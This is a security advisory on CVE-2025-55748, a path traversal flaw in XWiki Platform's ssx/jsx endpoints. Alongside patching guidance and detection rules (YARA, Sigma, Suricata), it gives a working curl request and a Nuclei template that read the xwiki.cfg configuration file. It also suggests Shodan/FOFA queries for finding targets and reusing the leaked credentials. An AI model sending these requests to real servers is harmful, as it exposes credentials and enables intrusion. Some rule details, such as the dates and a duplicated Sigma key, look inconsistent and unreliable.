CVE-2025-55748

Executive Summary

CVE-2025-55748 is a high-severity path traversal vulnerability affecting XWiki Platform versions 4.2-milestone-2 through 16.10.6. The vulnerability resides in the jsx and sx endpoints, which improperly handle the resource parameter, allowing an unauthenticated remote attacker to read arbitrary configuration files from the server. This can lead to the exposure of sensitive information such as database credentials, encryption keys, and internal network configurations. A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation requires no special privileges. The vendor has released a patch in version 16.10.7.

Supply Chain & Package Security

XWiki Platform is a Java-based application distributed as a WAR file or via Docker images. The vulnerability affects the core platform, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using XWiki should verify their deployment version and apply the patch immediately. The risk is elevated due to the lack of authentication required for exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the ease of exploitation and the potential for significant information disclosure. An attacker can read sensitive configuration files without any authentication, which could lead to further compromise of the system.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-23) in the XWiki Platform's ssx (Skin Extension) and jsx (JavaScript Extension) endpoints. These endpoints are designed to serve static resources (CSS, JavaScript) for the wiki's skin. The resource parameter is used to specify the file to be served.

The vulnerable code does not properly sanitize the resource parameter, allowing an attacker to use ../ sequences to traverse directories outside the intended resource directory. By crafting a URL like /bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false, an attacker can read the xwiki.cfg configuration file, which contains sensitive settings such as database connection strings, encryption keys, and other critical parameters.

The minify=false parameter is used to disable CSS/JS minification, which is not directly related to the vulnerability but is part of the PoC.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly uses the resource parameter to construct a file path without validation.

// Vulnerable: Direct path concatenation
String resourcePath = request.getParameter("resource");
File file = new File(baseDirectory, resourcePath);
// Serve file...

Patched Code (Conceptual): The patched code validates the resource parameter to ensure it does not contain path traversal sequences.

// Patched: Validate and sanitize the path
String resourcePath = request.getParameter("resource");
if (resourcePath == null || resourcePath.contains("..") || resourcePath.contains("/") || resourcePath.contains("\\")) {
    // Reject request
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
}
File file = new File(baseDirectory, resourcePath);
// Ensure file is within the base directory
if (!file.getCanonicalPath().startsWith(baseDirectory.getCanonicalPath())) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN);
    return;
}
// Serve file...

The actual fix in commit 9e7b4c03f2143978d891109a17159f73d4cdd318 likely involves similar path validation and canonicalization checks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable XWiki Platform instance (version 4.2-milestone-2 to 16.10.6).
• Network access to the target.

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the query app="XWIKI-Platform" to find vulnerable instances.
2. Craft Request: Send a GET request to the vulnerable endpoint with a path traversal payload.

   curl -v "http://target:8080/bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false"
   

3. Read Configuration: The response will contain the contents of the xwiki.cfg file, which may include database credentials, encryption keys, and other sensitive data.
4. Further Exploitation: Use the disclosed credentials to access the database or other internal systems.

Nuclei Template (Provided):

id: CVE-2025-55748

info:
  name: XWiki Platform - Path Traversal
  author: Redmomn
  severity: high
  description: |
    XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.
  impact: |
    Remote attackers can read sensitive configuration files, potentially exposing critical system information.
  remediation: |
    Upgrade to version 16.10.7 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m63c-3rmg-r2cf
    - https://github.com/xwiki/xwiki-platform/commit/9e7b4c03f2143978d891109a17159f73d4cdd318#diff-ee78930a9ac5ea586179fe8ab88a5fd58e369d175927d1e88a0b4dbc3ebcbf1eR62
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55748
    epss-score: 0.00424
    epss-percentile: 0.62209
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220522533bd09153e0cdd43e0aa64d60489542ec59b144c3c42128834b1cb7aa88c0221008ce1b8ad4aa19f1130f05c22990174a9f073244374a25f367c975446955108b4:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor web server logs for requests containing resource=../../ or similar path traversal patterns.
• Look for requests to /bin/ssx/ or /bin/jsx/ endpoints with a resource parameter.
• Alert on HTTP 200 responses to such requests that contain configuration file keywords like xwiki.editcomment=, xwiki.plugins=, or xwiki.encoding=.

Hunting:

• Search for anomalous requests to static resource endpoints that include directory traversal sequences.
• Correlate with known attacker IPs or user agents.

Prevention:

• Apply the vendor patch immediately (upgrade to version 16.10.7 or later).
• Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the resource parameter.
• Restrict access to the /bin/ssx/ and /bin/jsx/ endpoints to authenticated users if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false
  • HTTP GET requests to /bin/jsx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false
  • Similar requests with different path traversal payloads (e.g., resource=../../WEB-INF/web.xml)

• File System IOCs:

  • Unauthorized access to WEB-INF/xwiki.cfg, WEB-INF/web.xml, or other configuration files.

• Log IOCs:

  • Web server access logs showing 200 responses to path traversal requests.
  • Error logs may show FileNotFoundException or SecurityException if the path is invalid.

Detection Engineering

YARA Rule

rule CVE_2025_55748_XWiki_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting XWiki Platform CVE-2025-55748"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55748"
        severity = "high"
    strings:
        $s1 = "resource=../../" ascii wide nocase
        $s2 = "/bin/ssx/" ascii wide nocase
        $s3 = "/bin/jsx/" ascii wide nocase
        $s4 = "xwiki.cfg" ascii wide nocase
        $s5 = "WEB-INF" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: XWiki Platform Path Traversal Attempt (CVE-2025-55748)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-55748, a path traversal vulnerability in XWiki Platform.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55748
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m63c-3rmg-r2cf
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'resource=../../'
            - '/bin/ssx/'
            - '/bin/jsx/'
        cs-uri-query|contains:
            - 'xwiki.cfg'
            - 'WEB-INF'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55748 XWiki Platform Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/bin/ssx/"; http_uri; content:"resource=../../"; http_uri; content:"xwiki.cfg"; http_uri; classtype:attempted-recon; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade XWiki Platform to version 16.10.7 or later. This is the only complete fix.
2. WAF Rule: Deploy a WAF rule to block requests containing ../ in the resource parameter.
3. Access Control: If upgrading is not immediately possible, restrict access to the /bin/ssx/ and /bin/jsx/ endpoints to authenticated users only via reverse proxy or firewall rules.

Long-Term Measures:

• Implement a secure code review process to catch path traversal vulnerabilities.
• Use input validation libraries that canonicalize paths and reject traversal sequences.
• Regularly update all software components.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division.

{/* [Security Hash: 272FDA0A4BCE017DBF0CD351] */}